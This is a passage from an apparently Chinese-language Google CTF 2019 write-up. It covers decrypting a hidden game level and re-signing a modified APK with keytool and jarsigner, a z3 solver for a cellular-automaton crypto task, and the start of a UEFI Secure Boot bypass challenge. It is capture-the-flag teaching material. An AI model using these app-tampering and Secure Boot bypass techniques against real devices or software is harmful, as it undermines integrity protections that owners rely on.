class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> zlib</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"></span><br><span class="line">g_encode = [-<span class="number">113</span>, -<span class="number">47</span>, -<span class="number">15</span>, <span class="number">105</span>, -<span class="number">18</span>, <span class="number">14</span>, -<span class="number">118</span>, <span class="number">0x7A</span>, <span class="number">103</span>, <span class="number">93</span>, <span class="number">120</span>, <span class="number">70</span>, -<span class="number">36</span>, -<span class="number">82</span>, <span class="number">109</span>, <span class="number">0x71</span>, <span class="number">36</span>, -<span class="number">127</span>, <span class="number">19</span>, -<span class="number">35</span>, -<span class="number">68</span>, <span class="number">21</span>, -<span class="number">20</span>, -<span class="number">69</span>, <span class="number">7</span>, <span class="number">94</span>, -<span class="number">115</span>, <span class="number">58</span>, -<span class="number">105</span>, -<span class="number">10</span>, -<span class="number">77</span>, -<span class="number">62</span>, <span class="number">106</span>, <span class="number">86</span>, -<span class="number">44</span>, -<span class="number">24</span>, -<span class="number">46</span>, <span class="number">0x70</span>, <span class="number">37</span>, <span class="number">3</span>, -<span class="number">34</span>, -<span class="number">51</span>, -<span class="number">35</span>, <span class="number">90</span>, -<span class="number">93</span>, -<span class="number">59</span>, <span class="number">12</span>, -<span class="number">35</span>, <span class="number">0x7D</span>, -<span class="number">33</span>, -<span class="number">6</span>, -<span class="number">109</span>, -<span class="number">100</span>, <span class="number">25</span>, <span class="number">0x7F</span>, <span class="number">0x7E</span>, -<span class="number">81</span>, -<span class="number">73</span>, -<span class="number">50</span>, -<span class="number">61</span>, <span class="number">84</span>, <span class="number">0x20</span>, <span class="number">0x7F</span>, -<span class="number">126</span>, -<span class="number">81</span>, -<span class="number">20</span>, -<span class="number">116</span>, -<span class="number">82</span>, <span class="number">38</span>, <span class="number">0x77</span>, <span class="number">27</span>, <span class="number">7</span>, <span class="number">0x7A</span>, -<span class="number">2</span>, -<span class="number">30</span>, <span class="number">58</span>, <span class="number">98</span>, -<span class="number">17</span>, <span class="number">66</span>, -<span class="number">103</span>, <span class="number">0x74</span>, -<span class="number">83</span>, -<span class="number">36</span>, <span class="number">106</span>, <span class="number">0x79</span>, -<span class="number">23</span>, -<span class="number">40</span>, <span class="number">0x7D</span>, -<span class="number">27</span>, -<span class="number">37</span>, -<span class="number">95</span>, -<span class="number">59</span>, -<span class="number">70</span>, <span class="number">61</span>, <span class="number">71</span>, <span class="number">43</span>, -<span class="number">55</span>, -<span class="number">22</span>, -<span class="number">8</span>, -<span class="number">72</span>, <span class="number">50</span>, -<span class="number">19</span>, -<span class="number">77</span>, <span class="number">37</span>, <span class="number">78</span>, -<span class="number">37</span>, <span class="number">0x7E</span>, <span class="number">0x77</span>, <span class="number">0x1F</span>, -<span class="number">37</span>, <span class="number">70</span>, <span class="number">41</span>, <span class="number">0x40</span>, -<span class="number">97</span>, -<span class="number">28</span>, <span class="number">68</span>, -<span class="number">14</span>, -<span class="number">41</span>, -<span class="number">17</span>, -<span class="number">94</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="number">0x1F</span>, -<span class="number">85</span>, -<span class="number">86</span>, <span class="number">84</span>, -<span class="number">34</span>, -<span class="number">58</span>, <span class="number">0x73</span>, -<span class="number">14</span>, <span class="number">87</span>, <span class="number">62</span>, <span class="number">52</span>, <span class="number">103</span>, -<span class="number">28</span>, -<span class="number">89</span>, <span class="number">3</span>, <span class="number">104</span>, <span class="number">19</span>, <span class="number">61</span>, -<span class="number">7</span>, -<span class="number">53</span>, -<span class="number">15</span>, <span class="number">28</span>, -<span class="number">108</span>, -<span class="number">85</span>, -<span class="number">106</span>, <span class="number">3</span>, -<span class="number">77</span>, -<span class="number">11</span>, <span class="number">37</span>, -<span class="number">65</span>, -<span class="number">107</span>, -<span class="number">61</span>, <span class="number">53</span>, -<span class="number">3</span>, -<span class="number">68</span>, <span class="number">105</span>, -<span class="number">101</span>, -<span class="number">118</span>, -<span class="number">44</span>, <span class="number">69</span>, -<span class="number">63</span>, -<span class="number">81</span>, -<span class="number">57</span>, <span class="number">74</span>, -<span class="number">86</span>, <span class="number">76</span>, <span class="number">27</span>, -<span class="number">58</span>, <span class="number">91</span>, <span class="number">0x40</span>, <span class="number">60</span>, -<span class="number">86</span>, <span class="number">3</span>, <span class="number">5</span>, -<span class="number">108</span>, -<span class="number">44</span>, <span class="number">77</span>, -<span class="number">80</span>, <span class="number">50</span>, <span class="number">0x77</span>, <span class="number">109</span>, <span class="number">107</span>, -<span class="number">43</span>, -<span class="number">93</span>, -<span class="number">87</span>, -<span class="number">42</span>, <span class="number">0x20</span>, <span class="number">66</span>, <span class="number">27</span>, -<span class="number">64</span>, <span class="number">38</span>, -<span class="number">44</span>, <span class="number">50</span>, -<span class="number">108</span>, -<span class="number">21</span>, -<span class="number">70</span>, -<span class="number">102</span>, -<span class="number">63</span>, -<span class="number">120</span>, <span class="number">0x76</span>, <span class="number">7</span>, <span class="number">89</span>, -<span class="number">106</span>, <span class="number">66</span>, -<span class="number">3</span>, -<span class="number">10</span>, <span class="number">93</span>, -<span class="number">9</span>, <span class="number">3</span>, <span class="number">13</span>, <span class="number">35</span>, <span class="number">37</span>, -<span class="number">19</span>, <span class="number">0x74</span>, <span class="number">0x2F</span>, <span class="number">29</span>, <span class="number">91</span>, -<span class="number">30</span>, <span class="number">69</span>, -<span class="number">49</span>, <span class="number">109</span>, <span class="number">72</span>, <span class="number">6</span>, <span class="number">36</span>, <span class="number">58</span>, -<span class="number">63</span>, <span class="number">107</span>, <span class="number">0x30</span>, <span class="number">70</span>, <span class="number">0x7F</span>, -<span class="number">127</span>, <span class="number">51</span>, -<span class="number">110</span>, <span class="number">0x30</span>, -<span class="number">73</span>, -<span class="number">62</span>, -<span class="number">118</span>, <span class="number">59</span>, -<span class="number">27</span>, <span class="number">30</span>, -<span class="number">109</span>, -<span class="number">42</span>, -<span class="number">109</span>, -<span class="number">54</span>, -<span class="number">22</span>, <span class="number">0x5F</span>, <span class="number">0x7B</span>, -<span class="number">89</span>, -<span class="number">62</span>, -<span class="number">99</span>, -<span class="number">62</span>, <span class="number">66</span>, <span class="number">60</span>, <span class="number">0x7E</span>, -<span class="number">52</span>, -<span class="number">117</span>, -<span class="number">98</span>, -<span class="number">95</span>, <span class="number">2</span>, -<span class="number">93</span>, -<span class="number">93</span>, -<span class="number">30</span>, <span class="number">85</span>, -<span class="number">113</span>, -<span class="number">77</span>, -<span class="number">60</span>, -<span class="number">83</span>, -<span class="number">4</span>, -<span class="number">50</span>, <span class="number">52</span>, <span class="number">0x71</span>, <span class="number">62</span>, -<span class="number">104</span>, -<span class="number">124</span>, <span class="number">56</span>, <span class="number">89</span>, -<span class="number">62</span>, <span class="number">108</span>, <span class="number">35</span>, -<span class="number">10</span>, <span class="number">90</span>, -<span class="number">42</span>, -<span class="number">26</span>, <span class="number">0x72</span>, <span class="number">11</span>, -<span class="number">49</span>, -<span class="number">18</span>, <span class="number">56</span>, -<span class="number">60</span>, -<span class="number">87</span>, -<span class="number">118</span>, -<span class="number">106</span>, -<span class="number">76</span>, -<span class="number">103</span>, -<span class="number">53</span>, -<span class="number">7</span>, -<span class="number">54</span>, -<span class="number">70</span>, -<span class="number">120</span>, -<span class="number">92</span>, -<span class="number">29</span>, -<span class="number">17</span>, -<span class="number">106</span>, <span class="number">80</span>, -<span class="number">3</span>, -<span class="number">18</span>, -<span class="number">44</span>, <span class="number">0x73</span>, -<span class="number">31</span>, <span class="number">57</span>, -<span class="number">57</span>, <span class="number">60</span>, <span class="number">94</span>, -<span class="number">6</span>, <span class="number">18</span>, -<span class="number">56</span>, -<span class="number">27</span>, -<span class="number">17</span>]</span><br><span class="line">g_IV= [-<span class="number">30</span>, <span class="number">1</span>, <span class="number">9</span>, -<span class="number">29</span>, -<span class="number">92</span>, <span class="number">104</span>, -<span class="number">52</span>, -<span class="number">82</span>, <span class="number">42</span>, -<span class="number">116</span>, <span class="number">1</span>, -<span class="number">58</span>, <span class="number">92</span>, -<span class="number">56</span>, -<span class="number">25</span>, <span class="number">62</span>]</span><br><span class="line">g_key = [<span class="number">9</span>, <span class="number">8</span>, <span class="number">7</span>, <span class="number">2</span>, <span class="number">11</span>, <span class="number">15</span>, <span class="number">13</span>, <span class="number">10</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="number">14</span>, <span class="number">4</span>, <span class="number">3</span>, <span class="number">0</span>, <span class="number">12</span>, <span class="number">1</span>]</span><br><span class="line">g_hash = [<span class="number">46</span>, <span class="number">50</span>, <span class="number">92</span>, -<span class="number">111</span>, -<span class="number">55</span>, <span class="number">20</span>, <span class="number">120</span>, -<span class="number">77</span>, <span class="number">92</span>, <span class="number">46</span>, <span class="number">12</span>, -<span class="number">74</span>, <span class="number">91</span>, <span class="number">120</span>, <span class="number">81</span>, -<span class="number">58</span>, -<span class="number">6</span>, -<span class="number">104</span>, -<span class="number">123</span>, <span class="number">90</span>, <span class="number">0x77</span>, -<span class="number">61</span>, -<span class="number">65</span>, -<span class="number">45</span>, -<span class="number">16</span>, <span class="number">8</span>, <span class="number">0x40</span>, -<span class="number">68</span>, -<span class="number">103</span>, -<span class="number">84</span>, -<span class="number">30</span>, <span class="number">107</span>]</span><br><span class="line">g_real_key = [<span class="number">9</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">11</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">13</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">5</span>, <span class="number">14</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>]</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">translate_array</span>(<span class="params">array</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(array)):</span><br><span class="line">        array[i] = array[i] <span class="keyword">if</span> array[i] &gt; <span class="number">0</span> <span class="keyword">else</span> <span class="number">256</span> + array[i]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decode_data</span>():</span><br><span class="line">    cipher = translate_array(g_encode)</span><br><span class="line">    iv = translate_array(g_IV)</span><br><span class="line">    aes = AES.new(<span class="built_in">bytes</span>(g_real_key), mode=AES.MODE_CBC, IV = <span class="built_in">bytes</span>(g_IV))</span><br><span class="line">    ret = aes.decrypt(<span class="built_in">bytes</span>(g_encode))</span><br><span class="line">    <span class="keyword">return</span> ret</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">burst_key</span>():</span><br><span class="line">    real_key = []</span><br><span class="line">    iters = itertools.product([<span class="number">0</span>,<span class="number">1</span>], repeat=<span class="number">16</span>)</span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> iters:</span><br><span class="line">        <span class="keyword">for</span> i, eachiters <span class="keyword">in</span> <span class="built_in">enumerate</span>(each):</span><br><span class="line">            <span class="keyword">if</span> eachiters == <span class="number">0</span>:</span><br><span class="line">                real_key += [<span class="number">0</span>, g_key[i]]</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                real_key += [g_key[i], <span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> sha256(<span class="built_in">bytes</span>(real_key)).digest() == <span class="built_in">bytes</span>(g_hash):</span><br><span class="line">            <span class="built_in">print</span>(real_key)</span><br><span class="line">        real_key = []</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Finish&quot;</span>)</span><br><span class="line">        </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">paste_image</span>(<span class="params">tiles, data</span>):</span><br><span class="line">    <span class="comment"># [TODO]: trasfer level_data to image</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decompress_level</span>(<span class="params">level_path</span>):</span><br><span class="line">    fd = <span class="built_in">open</span>(level_path, <span class="string">&#x27;rb&#x27;</span>)</span><br><span class="line">    content = fd.read()</span><br><span class="line">    data = zlib.decompress(content)</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line">    </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    translate_array(g_hash)</span><br><span class="line">    translate_array(g_encode)</span><br><span class="line">    translate_array(g_IV)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(g_hash)</span><br><span class="line">    <span class="comment"># burst_key()</span></span><br><span class="line">    data = decode_data()</span><br><span class="line">    fd = <span class="built_in">open</span>(<span class="string">&quot;FlagLevel.bin&quot;</span>,<span class="string">&#x27;wb&#x27;</span>)</span><br><span class="line">    fd.write(data)</span><br><span class="line">    fd.close()</span><br><span class="line">    result = decompress_level(<span class="string">&quot;FlagLevel.bin&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(result)</span><br></pre></td></tr></table></figure><p>这里因为懒得再翻译程序中对Sprite的翻译过程，想到另一个办法：将apk中的<code>level1.bin</code>替换成我们解密得到的文件，即可让apk帮忙加载地图。</p><h4 id="最后的签名">最后的签名</h4><p>APK本身是签了名的，再修改了<code>level1.bin</code>之后，首先要将apk中的<code>META_INF</code>文件删除，然后进行签名。这里使用的是jarsign进行签名。<br>首先我们要生成属于我们自己的密钥对:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&gt;keytool -genkeypair -alias &quot;test&quot; -keyalg &quot;RSA&quot; -keystore &quot;test.keystore&quot;</span><br></pre></td></tr></table></figure><ul><li><code>-alias</code> 后面跟着的是当前密钥对的名字，之后会用到</li><li><code>-keyalg</code> 表示当前使用的签名算法</li><li><code>-keystore</code> 表示当前生成的签名最后的存放位置</li></ul><p>之后还会要求我们输入输入密钥库口令以及一些基本信息，输入完成后就会生成一个90天有效的签名了<br>得到了签名之后，就能够使用<code>jarsign</code>签名了:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jarsigner -verbose -keystore test.keystore -signedjar ./flaggybirdflag-signed.apk  ./flaggybirdflag.apk test</span><br></pre></td></tr></table></figure><ul><li><code>-verbose</code> 显示详细信息</li><li><code>-keystore</code> 当前密钥文件的地址</li><li><code>-signedjar</code> 签名后的文件名</li></ul><p>最后跟上<code>jar-file</code>以及我们刚刚对签名起的别名，即可完成签名。替换后的APK打开即可得到flag:<br><img src="/2019/07/29/GoogleCTF-2019/wp10.png" alt=""></p><h1 id="crypto">Crypto</h1><h2 id="reverse-a-cellular-automata-80">Reverse a cellular automata (80)</h2><p>本质上为一个算法题（大雾）</p><h3 id="题目描述">题目描述</h3><p>题目描述是说，当前使用了一种叫做胞元自动机<strong>cellular automata</strong>的东西（就是题目里面那个东西）的算法。这个东西解释起来有、、复杂，不过现实中很多地方都见过。胞元自动机相当于是定义了一种规则。假设我们定义了如下的<code>3*3</code>的方块:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">= = =</span><br><span class="line">= = =</span><br><span class="line">= = =</span><br></pre></td></tr></table></figure><p>假定如下的规则:</p><ul><li><code>=</code>表示活着的细胞</li><li><code>+</code>表示死了的细胞</li><li>定义一个规则：如果细胞四周（上下左右）有&gt;=3个细胞存在，由于细胞养料不足，当前的细胞会死亡；否则，因为养料充足，细胞会重新活过来</li></ul><p>胞元自动机是以<strong>状态</strong>为概念的。也就是说每一个细胞只考虑当前状态下周围的养料情况，不考虑下一个状态。那么根据规则，下一个状态的方块中的细胞会变成:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">= + =</span><br><span class="line">+ + +</span><br><span class="line">= + =</span><br></pre></td></tr></table></figure><p>可以注意到，此时**“死去”**了很多个细胞。虽然根据资源分配的话，四周的细胞死亡后，正中间的细胞本来是不必死去的，但是根据状态，它也会进入这个状态。然后再下一个状态就是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">= = =</span><br><span class="line">= = =</span><br><span class="line">= = =</span><br></pre></td></tr></table></figure><p>恢复成最初的形状。这种就叫做胞元自动机的变化过程。<br>有很多的胞元自动机规则，分别就是规定了这种变化过程。题目中给出的<code>Wolfram rule 126</code>也是一种变化的规则:<br><img src="/2019/07/29/GoogleCTF-2019/wp04.png" alt=""><br>第一排为当前状态。也就是说仅仅在<strong>当前状态以及相邻两个状态均相等的时候，当前状态转变成0，否则转变成1</strong></p><h3 id="题解">题解</h3><p>题目中给出了一个密文，并且给出了一个64bit下的胞元自动机生成的数字，推测出上一个状态，对应的数字作为密文的密钥即可解开答案:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Flag (base64)</span><br><span class="line">U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=</span><br><span class="line">Obtained step (in hex)</span><br><span class="line">66de3c1bf87fdfcf</span><br></pre></td></tr></table></figure><p>这里观察<code>Rule 126</code>，可以发现一些规律。这里推荐网站<a href="https://www.wolframalpha.com/input/?i=Rule+126">https://www.wolframalpha.com/input/?i=Rule+126</a>，里面已经帮我们总结了规律。<br>这种有规律，求解的问题都可以用<code>z3</code>来解决。这里参考<a href="https://blog.julianjm.com/Google-CTF-2019/#Automata">https://blog.julianjm.com/Google-CTF-2019/#Automata</a>照着写了一个:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> z3 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">BITS = <span class="number">64</span></span><br><span class="line">target = <span class="number">0x66de3c1bf87fdfcf</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Solver, which will help to get answer</span></span><br><span class="line">solver = Solver()</span><br><span class="line"></span><br><span class="line"><span class="comment"># define the cell rule </span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">cell</span>(<span class="params">p, q, r</span>):</span><br><span class="line">    <span class="keyword">return</span> Or(Xor(p,q), Xor(p,r))</span><br><span class="line"></span><br><span class="line"><span class="comment">#define the step for get step-answer</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">step</span>(<span class="params">src</span>):</span><br><span class="line">    <span class="keyword">return</span> [cell(src[i-<span class="number">1</span>], src[i], src[(i+<span class="number">1</span>)%BITS]) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(BITS)]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># define Bool array</span></span><br><span class="line">src = BoolVector(<span class="string">&quot;src&quot;</span>, BITS)</span><br><span class="line"><span class="comment"># and calculate the dst</span></span><br><span class="line">dst = step(src)</span><br><span class="line"></span><br><span class="line"><span class="comment"># now add restriction</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(BITS):</span><br><span class="line">    mask = <span class="number">1</span> &lt;&lt; (BITS - <span class="number">1</span> - i)</span><br><span class="line">    solver.add (dst[i] == <span class="built_in">bool</span>(target &amp; mask))</span><br><span class="line"></span><br><span class="line"><span class="comment"># and calculate answer</span></span><br><span class="line"><span class="keyword">while</span> solver.check() == sat:</span><br><span class="line">    model = solver.model()</span><br><span class="line"></span><br><span class="line">    solbits = <span class="string">&quot;&quot;</span>.join([<span class="string">&#x27;1&#x27;</span> <span class="keyword">if</span> model.<span class="built_in">eval</span>(src[i]) <span class="keyword">else</span> <span class="string">&#x27;0&#x27;</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(BITS)])</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;%x&quot;</span>%<span class="built_in">int</span>(solbits, <span class="number">2</span>))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># here we add a list into solver to tell solver that we don&#x27;t need this kind of answer, so </span></span><br><span class="line">    <span class="comment"># z3 will show another answer</span></span><br><span class="line">    solver.add(Or([ model[v]!=v <span class="keyword">for</span> v <span class="keyword">in</span> src]))</span><br></pre></td></tr></table></figure><p>基本上是把人家的搬运了一下。。实在是不会写<code>z3</code><br>这个输出非常多，可以用bash脚本之类的主动调用题目中给出的解题指令，即可得到答案。</p><h1 id="pwn">Pwn</h1><h2 id="secureboot">SecureBoot</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Your task is very simple: just boot this machine. We tried before but we always get ‘Security Violation’. For extra fancyness use socat -,raw,echo=0 tcp:$IP:$PORT&#x27;.</span><br></pre></td></tr></table></figure><p>这个题目是一个pwn题，从名字中可以知道应该是和一个叫做<strong>Secure Boot</strong>的特性相关的一个题目。这个特性其实是关于UEFI(Unified Extensible Firmware Interface)的一个子特性。</p><p>用<code>binwalk</code>查看之后，发现是一个UEFI文件，然后用<code>UEFITool</code>查看之后发现里面内容如下:<br><img src="/2019/07/29/GoogleCTF-2019/wp11.png" alt=""><br>官方给出的<code>run.py</code>脚本如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> tempfile</span><br><span class="line"></span><br><span class="line">fname = tempfile.NamedTemporaryFile().name</span><br><span class="line"></span><br><span class="line">os.system(<span class="string">&quot;cp OVMF.fd %s&quot;</span> % (fname))</span><br><span class="line">os.system(<span class="string">&quot;chmod u+w %s&quot;</span> % (fname))</span><br><span class="line">os.system(<span class="string">&quot;qemu-system-x86_64 -monitor /dev/null -m 128M -drive if=pflash,format=raw,file=%s -drive file=fat:rw:contents,format=raw -net none -nographic 2&gt; /dev/null&quot;</span> % (fname))</span><br><span class="line">os.system(<span class="string">&quot;rm -rf %s&quot;</span> % (fname))</span><br></pre></td></tr></table></figure><p>其中<code>qemu</code>那段启动的内容意思为:</p><ul><li><code>-monitor /dev/null</code>：将监视器重定向到主机的空白设备。</li><li><code>-m 128M</code>: 设置启动时候的RAM大小为128M</li><li><code>-drive if=pflash,format=raw,file=%s</code>: 设置一个驱动，同时可以设置相关的设备类型。这里设置的设备接口为<code>pflash</code>(闪存，相当于是连接了bios的那个东东)，磁盘格式为<code>raw</code>，意味着不需要检测格式头，然后定义了当前的<code>OVMF.fd</code>作为当前的操作镜像。这句话相当于是<strong>模拟了一个写有UEFI的闪存挂载到操作系统上的一个过程</strong></li><li><code>-drive file=fat:rw:contents,format=raw</code>： 同理，这句话设置了一个驱动，不过这里是将<code>contents</code>目录作为硬盘格式挂载到这上面（标注为raw之后就不需要关注是不是MBR/GPT的磁盘了）</li><li><code>-net none</code>: 不支持网络通信</li><li><code>2 &gt; /dev/null</code>: 重定向错误流</li></ul><p>尝试运行这段内容后，程序会输出:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">UEFI Interactive Shell v2.2</span><br><span class="line">EDK II</span><br><span class="line">UEFI v2.70 (EDK II, 0x00010000)</span><br><span class="line">Mapping table</span><br><span class="line">      FS0: Alias(s):HD1a1:;BLK3:</span><br><span class="line">          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1)</span><br><span class="line">     BLK0: Alias(s):</span><br><span class="line">          PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x0)</span><br><span class="line">     BLK1: Alias(s):</span><br><span class="line">          PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x1)</span><br><span class="line">     BLK2: Alias(s):</span><br><span class="line">          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)</span><br><span class="line">     BLK4: Alias(s):</span><br><span class="line">          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)</span><br><span class="line"></span><br><span class="line">If Secure Boot is enabled it will verify kernel&#x27;s integrity and</span><br><span class="line">return &#x27;Security Violation&#x27; in case of inconsistency.</span><br><span class="line">Booting...</span><br><span class="line">Script Error Status: Security Violation (line number 5)</span><br></pre></td></tr></table></figure><p>根据输出，我们知道当前的<code>OVMF.fd</code>中的UEFI开启了<code>SecureBoot</code>的特性，而当前内核并没有签名，导致了内核没有能够加载。</p><h3 id="企图绕过">企图绕过</h3><p>在UEFI加载的时候，有四个阶段</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SEC(安全检测，完成从flat mode 到 real mode)--PEI(EFI前期初始化，初始化各个模块，CPU/IO等等)--DXE(初始化各类驱动)--BDS(初始化键鼠驱动，VGA等等)</span><br></pre></td></tr></table></figure><p>但在这四个阶段之后，还会有一个叫做<code>TSL(操作系统加载前期)</code>的阶段，这个阶段中就是在最初的UEFI加载完成之后（但是还没有尝试开始运行的时候），会从主板上(CMOS处)加载关于UEFI的配置（也就是通常说的进入BIOS）。在这之后才会正式进入<code>RT(Runtime)</code>加载操作系统等等。<br>所以想到，我们可以通过手动修改BIOS的配置来关闭<code>SecureBoot</code>。但是该题没有告诉我们到底怎么进入BIOS，此时只能一通乱按，终于发现是在按下了<code>f12</code>的时候可以打开这个界面:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">BdsDxe: loading Boot0000 &quot;UiApp&quot; from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)</span><br><span class="line">BdsDxe: starting Boot0000 &quot;UiApp&quot; from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)</span><br><span class="line">****************************</span><br><span class="line">*                          